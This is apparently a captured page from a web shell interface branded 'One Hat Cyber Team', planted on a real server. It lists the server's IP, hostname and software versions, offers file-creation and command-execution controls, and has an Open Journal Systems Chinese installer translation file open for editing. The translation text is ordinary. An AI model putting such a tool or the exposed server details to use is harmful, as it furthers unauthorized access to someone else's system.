One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
lib
/
pkp
/
locale
/
zh_Hans
/
Edit File:
installer.po
# wenshao521! <wainixueer3334@gmail.com>, 2025. msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-04T08:55:27-08:00\n" "PO-Revision-Date: 2025-05-15 23:59+0000\n" "Last-Translator: wenshao521! <wainixueer3334@gmail.com>\n" "Language-Team: Chinese (Simplified) <http://translate.pkp.sfu.ca/projects/" "pkp-lib/installer/zh_Hans/>\n" "Language: zh_Hans\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: Weblate 4.18.2\n" msgid "installer.additionalLocales" msgstr "额外的语言环境" msgid "installer.administratorAccount" msgstr "管理员帐户" msgid "installer.administratorAccountInstructions" msgstr "" "这个帐户将成为站点的管理员,并且可以存取整站的所有内容,额外的用户信息可以在" "安装后添加." msgid "installer.checkNo" msgstr "<span class=\"pkp_form_error formError\">未通过</span>" msgid "installer.checkYes" msgstr "通过" msgid "installer.configFileError" msgstr "配置文件 <tt>config.inc.php</tt> 不存在或者不可读." msgid "installer.connectionCharset" msgstr "连接字符集" msgid "installer.contentsOfConfigFile" msgstr "配置文件内容" msgid "installer.databaseDriver" msgstr "数据库驱动" msgid "installer.databaseDriverInstructions" msgstr "" "<strong>如果选择括弧中所列的数据库驱动程序,但没有安装与启用所需的PHP函数的" "话,可能无法执行。</strong><br />上面个别列出由于学术目的而不支持的数据库驱动" "程序,而且不太可能运作。" msgid "installer.databaseHost" msgstr "主机" msgid "installer.databaseHostInstructions" msgstr "" "不填入主机名称会使用网域接口代替TCP/IP链接。这对MySQL来说并不必要,如果输入" "\"localhost\"它会自动使用接口,不过对某些其他的数据库服务器,好比PostgreSQL来" "说就是必要的." msgid "installer.databaseName" msgstr "数据库名" msgid "installer.databasePassword" msgstr "密码" msgid "installer.databaseSettings" msgstr "数据库设置" msgid "installer.databaseUsername" msgstr "用户名" msgid "installer.filesDir" msgstr "上传路径" msgid "installer.fileSettings" msgstr "文件设置" msgid "installer.form.clientCharsetRequired" msgstr "客户端字符设置必选." msgid "installer.form.databaseDriverRequired" msgstr "数据库驱动必须选择一个." msgid "installer.form.databaseNameRequired" msgstr "数据库名字是必须的." msgid "installer.form.emailRequired" msgstr "一个有效的管理员帐户的电子邮箱是必须的." msgid "installer.form.filesDirRequired" msgstr "用于存储上传文件的路径是必须的." msgid "installer.form.localeRequired" msgstr "至少一个语言环境选择." msgid "installer.form.passwordRequired" msgstr "管理员的帐号密码是必须的." msgid "installer.form.passwordsDoNotMatch" msgstr "管理员的密码不相符." msgid "installer.form.separateMultiple" msgstr "用逗号分隔多个值" msgid "installer.form.usernameAlphaNumeric" msgstr "" "管理员的用户名能包含数字和字符,下划线和链接符,而且必须以字母和数字开始和结" "束." msgid "installer.form.usernameRequired" msgstr "管理员的用户名是必须的." msgid "installer.form.timeZoneRequired" msgstr "必须选择一个时区。" msgid "installer.installationWrongPhp" msgstr "" "<br/><strong>警告:您当前PHP的版本不符合系统安装的最低要求. 推荐您升级系统的" "PHP版本到最新.</strong>" msgid "installer.installErrorsOccurred" msgstr "安装过程报错" msgid "installer.installerSQLStatements" msgstr "安装SQL语句" msgid "installer.installFileError" msgstr "安装文件 <tt>dbscripts/xml/install.xml</tt> 不存在后者不可读." msgid "installer.installFilesDirError" msgstr "为上传文件指定的目录不存在或者不可读." msgid "installer.installParseDBFileError" msgstr "错误解析数据库安装文件模板 <tt>{$file}</tt>." msgid "installer.installMigrationError" msgstr "执行迁移类 <tt>{$class}</tt> 时抛出异常,异常信息为:{$message}。" msgid "installer.installParseEmailTemplatesFileError" msgstr "错误解析电子邮件模板文件<tt>{$file}</tt>." msgid "installer.installParseFilterConfigFileError" msgstr "错误解析过滤配置文件<tt>{$file}</tt>." msgid "installer.unsupportedUpgradeError" msgstr "不支持升级。详情请参见升级指南(https://docs.pkp.sfu.ca/dev/upgrade-guide)。" msgid "installer.timezoneInstructions" msgstr "系统使用的时区。" msgid "installer.additionalLocalesInstructions" msgstr "选择系统中支持的其他语言。您也可以随时通过站点管理界面安装其他语言。<br>* = " "表示该语言尚未完全翻译(已翻译术语少于90%)" msgid "installer.locale" msgstr "语言设置" msgid "installer.locale.maybeIncomplete" msgstr "标记的语言环境尚未完成." msgid "installer.localeSettings" msgstr "语言环境设置" msgid "installer.oaiSettings" msgstr "OAI 设置" msgid "installer.oaiRepositoryIdInstructions" msgstr "" "一个独一无二的识别码,用来识别本站使用<a href=\"https://www.openarchives.org/" "\" target=\"_blank\">开放存档计划(Open Archives Initiative)</a>元数据搜集协定" "所索引的元数据记录 " msgid "installer.oaiRepositoryId" msgstr "OAI库标识符" msgid "installer.publicFilesDirError" msgstr "Public的文件的目录不存在或不可写." msgid "installer.releaseNotes" msgstr "发行说明" msgid "installer.preInstallationInstructionsTitle" msgstr "安装前步骤" msgid "installer.preInstallationInstructions" msgstr "" "\n" "\t\t<p>1. 以下文件和目录(及其内容)必须可写:</p>\n" "\t\t<ul>\n" "\t\t\t<li><tt>config.inc.php</tt> 是可写的(可选): {$writable_config}</" "li>\n" "\t\t\t<li><tt>public/</tt> 是可写的: {$writable_public}</li>\n" "\t\t\t<li><tt>cache/</tt> 是可写的: {$writable_cache}</li>\n" "\t\t\t<li><tt>cache/t_cache/</tt> 是可写的: {$writable_templates_cache}</" "li>\n" "\t\t\t<li><tt>cache/t_compile/</tt> 是可写的: {$writable_templates_compile}" "</li>\n" "\t\t\t<li><tt>cache/_db</tt> 是可写的: {$writable_db_cache}</li>\n" "\t\t</ul>\n" "\n" "\t\t<p>2. 必须创建一个用于存储上传文件的目录,并使该目录可写(请参见下面" "的“文件设置”)。</p>\n" "\t" msgid "installer.configureXSLMessage" msgstr "" "<p>您的PHP安装未启用XSL模块。 请启用它,或在config.inc.php文件中配置" "xslt_command参数。</p>" msgid "installer.beacon" msgstr "信标" msgid "installer.beacon.enable" msgstr "为PKP提供唯一的站点ID和OAI基本URL,仅用于统计和安全警报目的。" msgid "installer.unsupportedPhpError" msgstr "该软件不支持您服务器的PHP版本。 请在 docs/README 中仔细检查安装要求。" #~ msgid "installer.clientCharset" #~ msgstr "客户端字符设置" #~ msgid "installer.clientCharsetInstructions" #~ msgstr "从浏览器发送和接受数据的使用的编码." #~ msgid "installer.encryption" #~ msgstr "密码加密算法" #~ msgid "installer.form.encryptionRequired" #~ msgstr "用户密码加密算法必须选择." msgid "installer.appKey.keyVariable.missing.instruction" msgstr "" "请在 general 部分手动添加名为 app_key 的配置变量,或运行命令 php lib/pkp/" "tools/appKey.php configure 通过命令行界面设置该变量。" msgid "installer.appKey.validate.error" msgstr "不支持的加密算法或密钥长度错误。支持的加密算法有:{$ciphers}。" msgid "installer.miscSettings" msgstr "杂项设置" msgid "installer.appKey.keyVariable.missing.error" msgstr "general 部分未定义名为 app_key 的配置变量。 " msgid "installer.appKey.keyVariable.alreadyExist.notice" msgstr "general 部分已定义名为 app_key 的配置变量。 " msgid "installer.appKey.keyVariable.configFile.read.error" msgstr "无法读取配置文件,或者配置文件在预期路径不存在。 " msgid "installer.appKey.keyVariable.configFile.parse.error" msgstr "无法解析配置文件。" msgid "installer.appKey.keyVariable.configFile.write.error" msgstr "无法在配置文件中写入 app_key 变量。" msgid "installer.appKey.write.error" msgstr "无法在配置文件中写入应用密钥(app key)。" msgid "installer.appKey.set.value" msgstr "请在 config.inc.php 文件的 general 部分将 app_key 的值设置为 {$key}。"
Simpan